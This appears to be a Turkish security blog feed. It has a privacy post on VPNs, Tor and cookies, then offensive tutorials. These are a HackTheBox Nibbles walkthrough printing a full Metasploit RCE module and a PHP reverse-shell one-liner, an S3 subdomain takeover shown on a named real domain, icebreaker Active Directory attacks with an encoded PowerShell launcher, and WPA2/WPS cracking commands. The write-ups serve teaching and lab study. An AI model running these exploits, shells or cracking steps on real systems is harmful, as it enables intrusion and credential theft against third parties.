Ülkeler arasında istihbarat toplamak amaçlı bir ittifak vardır. Ülkelerin topluca vatandaşlarını izleme ve gözetlemesi üzerine kuruludur. Sızan verilerde Türkiye’nin de bunun için “milyon” dolar civarında bir yazılıma ödeme yaptığı görülmektedir. Detayını bilemediğimiz gibi kesinliği hakkında da bilgi sahibi değiliz. Gelelim göz(etleme)lere.
5 Göz;
bkz. https://en.wikipedia.org/wiki/UKUSA_Agreement
Dokuz Göz(öncekileri de içerir);
Ondört Göz(öncekileri de içerir);
Şimdi sizden ricam o çok övdüğünüz VPN firmalarının hangi lokasyonda olduğuna bakmanız
Ekşi Sözlük’te ssg gayet net açıklamış şu şekilde alıntılayalım.
ing. mahkeme emri kanaryası. “kanarya” tabiri madenlerde gaz kaçağını tespit etmek için kanaryaların kullanımından geliyor. kanarya bıcır bıcır öttüğü sürece sürece gaz kaçağı olmadığını anlıyorsun. ne zaman kanarya susarsa gaz kaçağı olduğunu anlıyorsun. bu taktik, yani gaz kaçağı olduğunu değil ama olmadığını anlamak, amerikan şirketleri tarafından beyan etmenin suç olduğu hukuksal gizlilik durumlarını aşmak için kullanılıyor.
bir firmanın amerikan mahkemesi tarafından gizli emir almasını beyan etmesi hukuken yasak, ama almadığını beyan etmesi değil. dolayısıyla firma ta ki alana kadar:“bugüne kadar mahkemeden gizli bir emir almadık”
beyanı yazıyor. ne zaman o yazı kaybolursa anlıyorsun ki gizli emir almışlar. bildiğim kadarıyla bu tekniğin gerçekten mahkemede uygulayanı akladığı test edilmedi ama büyük mecra ve servis sağlayıcılar tarafından yaygın olarak kullanılıyor.
VPN kullanmak sizi tamamen anonim yapmaz. Ancak eskisine göre daha iyi bir çözüm sunar.
Üzerine onlarca yazı yazıldı, onlarca eğitim videosu çekildi. O yüzden yine bilinen kısımdan ziyade biraz yorumsal kısmına değinmek istiyorum. TOR projesi gizlilik için en büyük çalışmalardan birisi. Günümüzde hakkında onlarca fikir var. Çoğunluk projenin istihbarat servisleri tarafından fonlandığını ve suçluları bulmak için ellerinde 0day exploitler bulundurduğunu düşünmekte. Bug bounty kapsamında gönderilen örnek bir raporu incelemekte fayda var “https://hackerone.com/reports/253429“. Çoğu kişinin bundan daha kritik zafiyetleri bulduğuna eminiz. Aşağıdaki haberleri okuyalım.
https://thehackernews.com/2017/11/tor-browser-real-ip.html
https://thehackernews.com/2017/09/tor-zero-day-exploits.html
Özetle çok büyük bir illegal aktivite için değilseniz, sadece gizliliğini düşünüyorsanız gayet yerinde bir tercih. Ancak %100 gizlilik sağlamadığını da umarım anlatabilmişimdir. Özellikle VPN ve TOR bağlantısı yapsanız bile hatta VPN > VPN > VPN > TOR > Web Proxy şeklinde bir şema izleseniz dahi bahsettiğimiz gibi WebRTC ile IP adresiniz ifşa olabilir.
Siteleri görüntülemek için her istek yaptığımızda bir HTTP trafiği de oluşturmuş oluruz. Bu trafiğin içinde bilgilerimiz de gitmekte. Dolayısıyla bu trafikte giden bilgilerimizi mümkün olduğunca değiştirmeli ya da korumalıyız.
Beni izleme özelliği tarayıcılarımızda yıllardır mevcut. Siteye yaptığınız her isteğe “DNT: 1” değerini işler. Dolayısıyla siteye “beni izleme” mesajı vermiş oluruz. Ancak, bu sitenin %100 sizi izlemeyeceğine işaret değildir. Verilerinizin izlenip izlenmeyeceğini bu hususta yine site belirleyecektir. Aşağıda örnek bir istek gösterilmiştir.
User-Agent bilgisinde hangi tarayıcıyı kullandığımız hangi işletim sistemine sahip olduğumuz gibi bilgiler gitmektedir. Dolayısıyla gerçekten farklı olarak bu bilgileri değiştirmemiz gizlilik açısından bir artı olacaktır. Reklam içeren link kısaltma sitelerine girdiğinizde genellikle işletim sisteminize göre zararlı yazılım gösterirler. GNU/Linux kullanan bir kullanıcı Windows işletim sistemine ait bir user-agent bilgisi kullanıyorsa karşısına Windows için üretilmiş bir zararlı yazılım çıkacaktır. Bundan dolayı hem gizliliğini sağlamış hem de güvenli kalmış olacaktır.
Resimde de görüldüğü gibi user-agent başlığından Mac bilgisini alan site ona göre zararlı göstermiş oldu. Bundan dolayıdır ki user-agent bilgimizi olduğundan farklı göstermek gerekli.
Cookie
Web sunucusu gelen kullanıcıları ayırt etmek için her kullanıcıya bir session tanımlar. Sunucunun tuttuğu Session id’yi şifreliyerek (değişiklik gösterebilir) Cookie bölümüne ekler. Özetle cookie sizin web sitesindeki parmak izinizdir. XSS zafiyeti ile kendisini yakından tanımaktayız. Oturum bilgilerinizin XSS ya da diğer zafiyetlerle elde edilmesi hem gizliliğiniz hem de güvenliğiniz açısından son derece kritiktir. Bu yazımızda çerezlerin güvenliği ve gizliliği hakkında iki hususta durmak istiyorum. Bunlardan ilki tarayıcıda saklanan cookie güvenliği diğeri ise web zafiyetleri ile alakalı.
2011’den bu yana (tabii ki öncesinde de dahil olmak üzere) popülerleşmiş yerini fidye yazılımlarına bırakan bir backdoor türüdür. Stealer’ın amacı tarayıcıdaki çerezlerinizi alıp mail adresine, FTP adresine ya da sizin belirleyeceğiniz bir yöntemle size iletmektir. Başlangıca yerleşmez, kendini kopyalamaz, sadece tarayıcılardaki çerezleri okur ve ilgili adreslere iletir. Dolayısıyla diske erişim izni isteyecek ve dışarıya bağlantı oluşturacaktır. Diğer zararlı yazılımlara istinaden daha az izin istemektedir. Dolayısıyla korunmak adına diskte(tarayıcıda) çerez tutulmamalıdır. Bunun için tarayıcılarda seçenek bulunmakta, eklentilerle de bu olay güçlendirilmektedir. Daha öncesinden kalan çerezleriniz varsa Gutmann metoduyla silmeniz gerekmektedir.
Web zafiyetleri ve cookie dendiği zaman akla gelen ilk zafiyet XSS’dir şüphesiz. XSS zafiyetinin işlevselliğine ve türevine bağlı olarak çerez bilginiz elde edilebilir. Buna önlem olarak çoğu tarayıcı özellikle Reflected(yansıtılan) XSS için iyileştirmeler yapmıştır. Ancak günümüzde bunlar hala yeterli değildir ve kolay atlatılabilmektedir. Bu durumda kullanıcılara ve geliştiricilere düşen sorumluluklar var. Geliştiriciler açısından bakıldığında, çerezlerin HttpOnly olarak işaretlenmesi ve SecureFlag kullanılması gereklidir. Bu şekilde örnek bir JavaScript XSS payload’ı ile tarayıcıdaki çereze erişilemeyecektir. Kullanıcı tarafından bakıldığında NoScript tarzı eklentiler ile her JavaScript dosyasının çalıştırılması engellenmelidir. Böylelikle Coinhive tarzı zararlı kod blokları ile siz video izlerken, sizin işlemciniz kullanılarak yapılan madenciliği engellemiş de olmaktasınız.
Referanslar:
https://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment https://tools.ietf.org/html/rfc5766 https://github.com/VoidSec/WebRTC-Leak https://www.privacytools.io/ https://dnsleaktest.com
]]>
Merhabalar, Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme… Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz. root@kali:~# curl 10.10.10.75 <b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! --> /nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu […]
]]>Merhabalar,
Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme…
Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz.
root@kali:~# curl 10.10.10.75 <b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! -->
/nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu anlıyoruz. Dolayısıyla öncelikli olarak zafiyet bulunmuş mu bakalım…
4.0.3 versiyonu için Metasploit modülü yazılmış. Bu modül ile de php dosyası yüklemenize dolayısıyla kod çalıştırmanıza olanak sağlayan bir exploit var.
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'Nibbleblog File Upload Vulnerability', 'Description' => %q{ Nibbleblog contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 4.0.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name? 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module ], 'References' => [ ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html'] ], 'DisclosureDate' => 'Sep 01 2015', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Nibbleblog 4.0.3', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ]) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def check cookie = do_login(username, password) return Exploit::CheckCode::Detected unless cookie res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'cookie' => cookie, 'vars_get' => { 'controller' => 'settings', 'action' => 'general' } ) if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def do_login(user, pass) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin.php') ) fail_with(Failure::Unreachable, 'No response received from the target.') unless res session_cookie = res.get_cookies vprint_status("Logging in...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'cookie' => session_cookie, 'vars_post' => { 'username' => user, 'password' => pass } ) return session_cookie if res && res.code == 302 && res.headers['Location'] nil end def exploit unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check) print_error("Target does not appear to be vulnerable.") return end vprint_status("Authenticating using #{username}:#{password}") cookie = do_login(username, password) fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? vprint_good("Authenticated with Nibbleblog.") vprint_status("Preparing payload...") payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php" data = Rex::MIME::Message.new data.add_part('my_image', nil, nil, 'form-data; name="plugin"') data.add_part('My image', nil, nil, 'form-data; name="title"') data.add_part('4', nil, nil, 'form-data; name="position"') data.add_part('', nil, nil, 'form-data; name="caption"') data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"") data.add_part('1', nil, nil, 'form-data; name="image_resize"') data.add_part('230', nil, nil, 'form-data; name="image_width"') data.add_part('200', nil, nil, 'form-data; name="image_height"') data.add_part('auto', nil, nil, 'form-data; name="image_option"') post_data = data.to_s vprint_status("Uploading payload...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'admin.php'), 'vars_get' => { 'controller' => 'plugins', 'action' => 'config', 'plugin' => 'my_image' }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie ) if res && /Call to a member function getChild\(\) on a non\-object/ === res.body fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?') elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') ) fail_with(Failure::Unknown, 'Unable to upload payload.') end vprint_good("Uploaded the payload.") php_fname = 'image.php' payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname) vprint_status("Parsed response.") register_files_for_cleanup(php_fname) vprint_status("Executing the payload at #{payload_url}.") send_request_cgi( 'uri' => payload_url, 'method' => 'GET' ) end end
Kodu incelediğimizde admin parolası ile giriş yapıp eklentideki file upload zafiyetinden faydalanarak image.php adında bir PHP dosyası göndererek kod çalıştırmakta. Tabii bunu yaparken parolayı bilmek gerek. Dolayısıyla script yazmaya dahi gerek kalmadan “admin:admin,admin:root,admin:nibbler,admin:nibbles” denemeleri sonucunda parolayı buluyorum.Exploit ettikten sonra yetkimizi alıyoruz.
LinEnum script’i ile zayıflıkları ararken, /home/nibbler/personal/stuff/monitor.sh dosyasından parolasız root haklarında komut çalıştırabileceğimi farkediyorum.
İlgili bash script’i inceleyelim.
#################################################################################################### # Tecmint_monitor.sh # # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ # # If any bug, report us in the link below # # Free to use/edit/distribute the code below by # # giving proper credit to Tecmint.com and Author # # # #################################################################################################### #! /bin/bash # unset any variable which system may be using # clear the screen clear unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage while getopts iv name do case $name in i)iopt=1;; v)vopt=1;; *)echo "Invalid arg";; esac done if [[ ! -z $iopt ]] then { wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname) su -c ssh nibbler@localhost -i /home/nibbler/.ssh/test root && "cp $scriptname /usr/bin/monitor" } fi if [[ ! -z $vopt ]] then { echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License" } fi if [[ $# -eq 0 ]] then { # Define Variable tecreset tecreset=$(tput sgr0) # Check if connected to Internet or not ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected" # Check OS Type os=$(uname -o) echo -e '\E[32m'"Operating System Type :" $tecreset $os # Check OS Release Version and Name cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\" echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\" # Check Architecture architecture=$(uname -m) echo -e '\E[32m'"Architecture :" $tecreset $architecture # Check Kernel Release kernelrelease=$(uname -r) echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease # Check hostname echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME # Check Internal IP internalip=$(hostname -I) echo -e '\E[32m'"Internal IP :" $tecreset $internalip # Check External IP externalip=$(curl -s ipecho.net/plain;echo) echo -e '\E[32m'"External IP : $tecreset "$externalip # Check DNS nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}') echo -e '\E[32m'"Name Servers :" $tecreset $nameservers # Check Logged In Users who>/tmp/who echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who # Check RAM and SWAP Usages free -h | grep -v + > /tmp/ramcache echo -e '\E[32m'"Ram Usages :" $tecreset cat /tmp/ramcache | grep -v "Swap" echo -e '\E[32m'"Swap Usages :" $tecreset cat /tmp/ramcache | grep -v "Mem" # Check Disk Usages df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage echo -e '\E[32m'"Disk Usages :" $tecreset cat /tmp/diskusage # Check Load Average loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}') echo -e '\E[32m'"Load Average :" $tecreset $loadaverage # Check System Uptime tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,) echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime # Unset Variables unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage # Remove Temporary Files rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage } fi shift $(($OPTIND -1))
Öncelikle script’e yazma izni verdikten sonra ./monitor.sh ile başlatamadım(bash hariç). Dolayısıyla shell değiştirmek daha mantıklıydı. Dolasıyla php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/bash -i <&3 >&3 2>&3”);’
kodu ile /bin/bash reverse shell aldım. Script normal çalışmakta ama sudo ve su komutlarını çalıştıramamaktaydım.
Makinada Python yoktu, SSH Key ile terminal alamadım. İnteraktif shell’e geçemememden dolayı geri dönerek monitor dosyasını editleyip sudo yetkisi ile çalıştırmayı denedim.
echo “cat /root/root.txt” >> monitor.sh komutu ile dosyama root kullanıcısının dizinindeki flag’i okutmayı denedim. Sudo ./monitor.sh ile çalıştırdığımda flag değeri geldi.
Pwned #1
]]>Herkese merhaba, Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım. Subdomain Takeover Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. […]
]]>Herkese merhaba,
Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım.
Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. Amazon s3 sunucularında bucket oluşturmamanız ya da Google’da Gsuite kaydı yapmamanız bunlara örnektir.
Öncelikle hedef sitemizin subdomain listesini çıkarmamız gerek. Bunun için çok fazla yöntem var. Ben Shodan, Virustotal gibi özel(ücretli ve private) api’leri kullandığım için Aquatone aracına entegre etmesi kolay olduğundan bu aracı kullanıyorum. Subdomain tespitimizi aquatone-discover –domain edim.co komutu ile yapalım. Json ve txt olarak iki çıktı vermesi çeşitli işlemlerde işimizi oldukça kolaylaştıran etkenlerden. Bulduğumuz subdomainler;
1.edim.co,52.222.171.230 a.edim.co,52.222.171.17 apps.edim.co,52.222.171.253 badge.edim.co,52.222.171.237 badges.edim.co,52.222.171.191 box.edim.co,52.222.171.100 box.u.ph.edim.co,52.222.171.85 com.ph.edim.co,52.222.171.182 croc.edim.co,52.222.171.198 e.edim.co,52.222.171.141 ed.edim.co,52.222.171.128 embed.edim.co,52.35.188.254 g.edim.co,52.222.171.152 math.edim.co,52.222.171.44 pic.edim.co,52.85.219.213 production.edim.co,34.210.242.50 s3.edim.co,52.216.16.115 t.edim.co,52.85.219.112 thumbs.edim.co,52.85.219.45 u.ph.edim.co,52.85.219.223
İsterseniz Cut -d “,” -f1 komutu ile sadece subdomainleri alabilirsiniz. Takeover tespitimizi aquatone-takeover –domain edim.co komutu ile gerçekleştirelim.
Çıktımızda potansiyel birer subdomain takeover tespit etti. Aracın eksik yönü bunu sadece Cname kaydına bakarak yapması. Aynı zamanda sitedeki dönen cevaba da bakarsa çok daha profesyonel sonuçlar elde edilebilir. İlgili adresimizin cname kaydını inceleyelim.
dig cname s3.edim.co ; <<>> DiG 9.9.7-P3 <<>> cname s3.edim.co ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8322 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;s3.edim.co. IN CNAME ;; ANSWER SECTION: s3.edim.co. 299 IN CNAME s3.amazonaws.com. ;; Query time: 78 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Thu Jan 25 21:55:07 +03 2018 ;; MSG SIZE rcvd: 69
Gördüğünüz gibi “s3.amazonaws.com” olarak yanıt döndü. Şimdi sitemize bakalım.
Bize “NoSuchBucket” hatası döndü. Yani bucket oluşturulmamış. Bu durumda S3 ayar panelinden ayarlarımızı yapalım.
Ayarlarımızı yaptıktan sonra erişime açık yapmadığım için AccessDenied hatası aldım. Bir index.html dosyası yükleyelim ve yayına açalım.
Domaini ele geçirdik.
Shodan ile isp:amazon taraması yaptığımda yaklaşık 1 milyon index almış ip tespit ettim. Aramamı isp:amazon “no such bucket” şeklinde zafiyet tabanlı yaptığımda ise 272 site ile karşılaştım. Bing ile ip:x şeklinde arama yapıldığında bu siteler ele geçirilebilir. Hatta makinada root haklarında işlemler yapılabilir.
Hatalı yapılandırma nedeniyle subdomaini ele geçirmemiz mümkün oldu. Bu durumda siteye sahte bir arayüz yaparak kullanıcı bilgilerini toplanabilir, mining sitelerinin zararlı kodları ile zombi makinalar oluşturulabilir, bilgisayarınıza zararlı yazılımlar yükletilebilir. Www-data hakları elde edilmiş bir makinada root yetkisine erişilebilir dolayısıyla tüm sunucu istismar edilmiş olabilir.
]]>icebreaker Aracı Nedir? icebreaker aracı https://github.com/DanMcInerney/icebreaker adresinden ulaşabileceğiniz açık kaynak kodlu bir sızma testi aracıdır. Yerel ağda bulunduğunuz fakat Active Directory dışında olduğunuz zamanlar size düz metin kimlik bilgilerini iletmek için Active Directory’ye karşı ağ saldırılarını otomatik hale getirir. Yerel ağ testlerinde oldukça kullanışlı olan ve içinde bir çok aracı modül olarak bulunduran yeni bir araçtır. Bu […]
TR | Yerel Ağ Sızma Testlerinde icebreaker Araç Kullanımı Ahmet Gürel
]]>icebreaker Aracı Nedir?
icebreaker aracı https://github.com/DanMcInerney/icebreaker adresinden ulaşabileceğiniz açık kaynak kodlu bir sızma testi aracıdır. Yerel ağda bulunduğunuz fakat Active Directory dışında olduğunuz zamanlar size düz metin kimlik bilgilerini iletmek için Active Directory’ye karşı ağ saldırılarını otomatik hale getirir. Yerel ağ testlerinde oldukça kullanışlı olan ve içinde bir çok aracı modül olarak bulunduran yeni bir araçtır. Bu modüllerin bazıları Nmap, Empire, Responder, impacket gibi yerel ağ testlerinde sık sık kullandığımız araçlardan oluşmaktadır. Aşağıdaki resim ile araçta bulunan tüm modülleri görebilirsiniz.
5 farklı atağı sıra ile deneyerek açık metin parolaları ve bulduğu hash değerlerini JohnTheRipper ile kırmaya çalışarak otomatik olarak atakları tamamlamaktadır.
RID Cycling Atağı
Nmap kullanarak boş SMB oturumlarını bulmaktadır.
SCF Dosya Yükleme Atağı
Ağ üzerinde anonim olarak yazılabilir paylaşımları bulmak için Nmap kullanır. Daha sonra böyle bir alan tespit ettiğinde SCF dosyası yükleme atağı gerçekleştirmektedir. Yakaladığı hash değerlerinide John ile kırmaya çalışmaktadır.
LLMNR/NBTNS/mDNS Poisoning Atağı
Bu atakta Resporder aracını kullanarak Katman 2 de LLMNR/NBTNS/mDNS zehirleme atağı gerçekleştirmektedir. Yine yakaladığı hash değerlerinide John ile kırmaya çalışmaktadır.
SMB Relay Atağı
ntlmrelay.py ve Responder.py araçlarını kullanarak elde ettiği hashlerden john ile kırdığı parolaları kullanarak hedef makinaya bağlanarak admin kullanıcısı eklemeye çalışmaktadır. Bu adımdan sonra mimikatz aracını çalıştırıp bellekten parola ve hash dökümlerine ulaşabilirsiniz.
IPv6 DNS Poison Atağı
mitm6 ve ntlmrelayx.py araçlarını kullanarak IPv6 DNS zehirleme yaparak kulanıcı ve makina hash değerlerini yakalamaya çalışmaktadır. Kimlik doğrulama için sahte WPAD (Web Proxy Autodiscovery Protocol) ler oluşturmaktadır. Bu kullanıcılar için ağ sorunlarına neden olabilir.
icebreaker Araç Kurulumu :
Kali-Linux’a kuracaksanız kurulumdan önce apt-get remove python-impacket yapmanız gerekmektedir.
git clone https://github.com/DanMcInerney/icebreaker.git
cd icebreaker
./setup.sh
pipenv shell
Kurulum tamamlandığında bazı paketlerin eksik olduğu hatasını alabilirsiniz. Bunun için pip3 ile birlikte paketleri yüklemelisiniz. Eğer pip3 yüklü değil ise ilk olarak apt-get install python3-pip komutu ile onu kurmalısınız. Daha sonra eksik olan paketleri aşağıdaki komutlar ile birlikte kullanabilirsiniz.
pip3 install libtmux
pip3 install netifaces
pip3 install python-libnmap
pip3 install netaddr
Paketleride kurduktan sonra python3 icebreaker.py -h veya ./icebreaker.py -h komutları ile aracın parametrelerini görebilirsiniz.
icebreaker aracını isterseniz target.txt veya nmap tarama sonuçlarını vererek çalıştırabilirsiniz.
python3 icebreaker.py -l targets.txt -i eth0 -t 30 -c default komutu ile target.txt dosyasındaki IP adresi/adresleri için 30 dakika boyunca LLMNR/NBTNS poisining atağı gerçekleştirecektir. Sistemde çalıştırılacak komut için -c parametresi ile belirtebilirsiniz.
Gördüğünüz gibi yakaladığı hash değerini John ile kırarak açık metin parolasını göstermektedir. Aynı zamanda aracın dizinindede tutulmaktaır. Daha sonra gerekli olduğunda hash değerini ve açık metin parolaya aşağıdaki resimde görüldüğü gibi ulaşılabilmektedir.
Hedef sistemde yakaladığı hash değerleri ve ele geçirdiği açık metin parolalar ile bağlanarak komut çalıştırabilmektedir. Bunun için Empire ile powershell kullanılmaktadır.
./icebreaker -l targets.txt -c “powershell -nop -w hidden -exec bypass -enc WwFk…”
Araç bir çok atağı ve aracı otomatik hale getirdiğini gördüğümde paylaşmak istedim başka bir yazıda görüşmek üzere ?
TR | Yerel Ağ Sızma Testlerinde icebreaker Araç Kullanımı Ahmet Gürel
]]>Bu yazıyı okumaya başlamadan önce temel kavramlar ve terimler için Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme adlı yazımızı okumanızı tavsiye etmekteyim. Bir önceki yazıda WEP protokolünün zayıflıklarını ve parolasını ele geçirmeye değinmiştim bu yazıda ise günümüzde yaygın olarak kullanılan WPA/WPA2 şifreleme algoritmaları ve parolalarını ele geçirilmesine yönelik saldırılara değineceğim. Kullanacağımız donanım ve […]
TR | Kablosuz Ağ Saldırıları-2 WPA/WPA2 Şifrelemeleri ve Parola Ele Geçirme Ahmet Gürel
]]>Bu yazıyı okumaya başlamadan önce temel kavramlar ve terimler için Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme adlı yazımızı okumanızı tavsiye etmekteyim.
Bir önceki yazıda WEP protokolünün zayıflıklarını ve parolasını ele geçirmeye değinmiştim bu yazıda ise günümüzde yaygın olarak kullanılan WPA/WPA2 şifreleme algoritmaları ve parolalarını ele geçirilmesine yönelik saldırılara değineceğim. Kullanacağımız donanım ve yazılımlar WEP için kullandıklarımızın aynısı olan aircrack yazılım ailesini kullanacağız.
WPA ve WPA2 şifrelemesini kullanan bir Erişim noktasının (Access Point) parolasını ele geçirebilmek için havada yakalanan paketlerde istemci ile erişim noktası arasında gerçekleşen dörtlü el sıkışma trafiği üzerine kaba kuvvet (Brute force) saldırısı kullanılabilir.
İlk olarak airmon-ng start wlan0 komutu ile wifi adaptörümüzü monitor moda alıyoruz.
Daha sonra airodump-ng wlan0mon komutu ile çevredeki ağlar hakkında bilgi topluyoruz.
Buradan ESSID Ahmet-Test olan BSSID 14:5F:94:48:F7:04 olan ve Channel numarası 1 olan WPA2-PSK şifrelemesini kullanan erişim noktasını hedef alacağız.
Artık bu ağı hedef göstererek aşağıdaki araç ve komutlar ile paket toplamaya başlıyoruz.
Görüldüğü gibi havada giden paketler toplanarak kaydedilmektedir.
Dörtlü el sıkışma paketlerini yakalabilmemiz için bağlı olan istemcilere deauthentication paketleri gönderek ağdan düşüp yeniden bağlanmasını sağlamak için aireplay-ng –deauth 100 -e Ahmet-Test wlan0mon aireplay-ng aracını kullanıyoruz.
Artık düşen istemci yeniden erişim noktasına bağlanırken dörtlü el sıkışma gerçekleşicek ve bu paketleri bizde yakalarak kaydetmiş olacağız.
aircrack-ng WPA2-01.cap -w /usr/share/wordlist/rockyou.txt -o komutu ile yakalanan paketler üzerine kaba kuvvet saldırı gerçekleştirilmiştir. Bu parola listemizde (wordlist) kablosuz ağa ait parola bulunduğu için parola bulunmuştur. Tamamen listenizde parola var ise işe yarayan bir saldırıdır. Dörtlü el sıkışma paketleri üzerinden kaba kuvvet saldırısı ile WPA/WPA2 şifreleme protokollerini kullanan ağların parolası bu şekilde ele geçirilebilmektedir.
WPS PIN Kırma ve WPS PIN Bilinen Ağ Parolasını Elde Etme
Bu saldırıdan başka şifreleme protokolleri haricinde erişim noktaları ile aygıtları birbirine bağlamasını kolaylaştırmak amacı taşıyan Wi-Fi Protected Setup (WPS) PIN’i ilede gerçekleşen saldırılar vardır.
“Wi-Fi protected setup” (WPS), tecrübesiz kullanıcıların router ile diğer ürünlerini kablosuz olarak kolayca bağlamalarını sağlayan bir sistemdir.
WPS destekli router’ların arka tarafında 8 haneli bir kod bulunmaktadır.
Kablosuz ağınıza örneğin bir laptop bağladığınızda bu 8 haneli PIN kodunu girmeniz gerekir.
WPS güvenliği, 8 haneli güvenlik kodunu 4 haneli 2 gruba ayırmaktadır.Birinci grup 4 haneli şifre doğru girilirse router doğru diye değer döndürüyor. Bu özellikten faydalanarak WPS PIN kırma saldırıları yapılmaktadır. WPS PIN’i bilinen bir ağın parolasıda kolaylıkla ele geçmektedir.
wifite aracı Kali Linux’ta krulu olarak gelmektedir. Terminale wifite yazarak konsoldan kullanabilirsiniz. Çevredeki ağlar hakkında bilgi toplayıp WPS durumlarını görebilirsiniz. Araç üzerinden wifi ağlarına yönelik atakları kolayca gerçekleştirebilirsiniz.
WPS’i Aktif Modemde WPS PIN Ele Geçirme
reaver -i wlan0mon -c 1 -b 14:5F:94:48:F7:04 -vv -L -N -d 15 -T .5 -r 3:15
Kali Linux’ta kurulu olarak gelen reaver aracı ile WPS Pın kullanımı aktif modemler için PIN’i kırmak için kullanılır.
WPS PIN’i Bilinen Ağın Parolasını Bulma
reaver -i wlan0mon -b 14:5F:94:48:F7:04 -d 0 -c 1 -vv -p 25905892
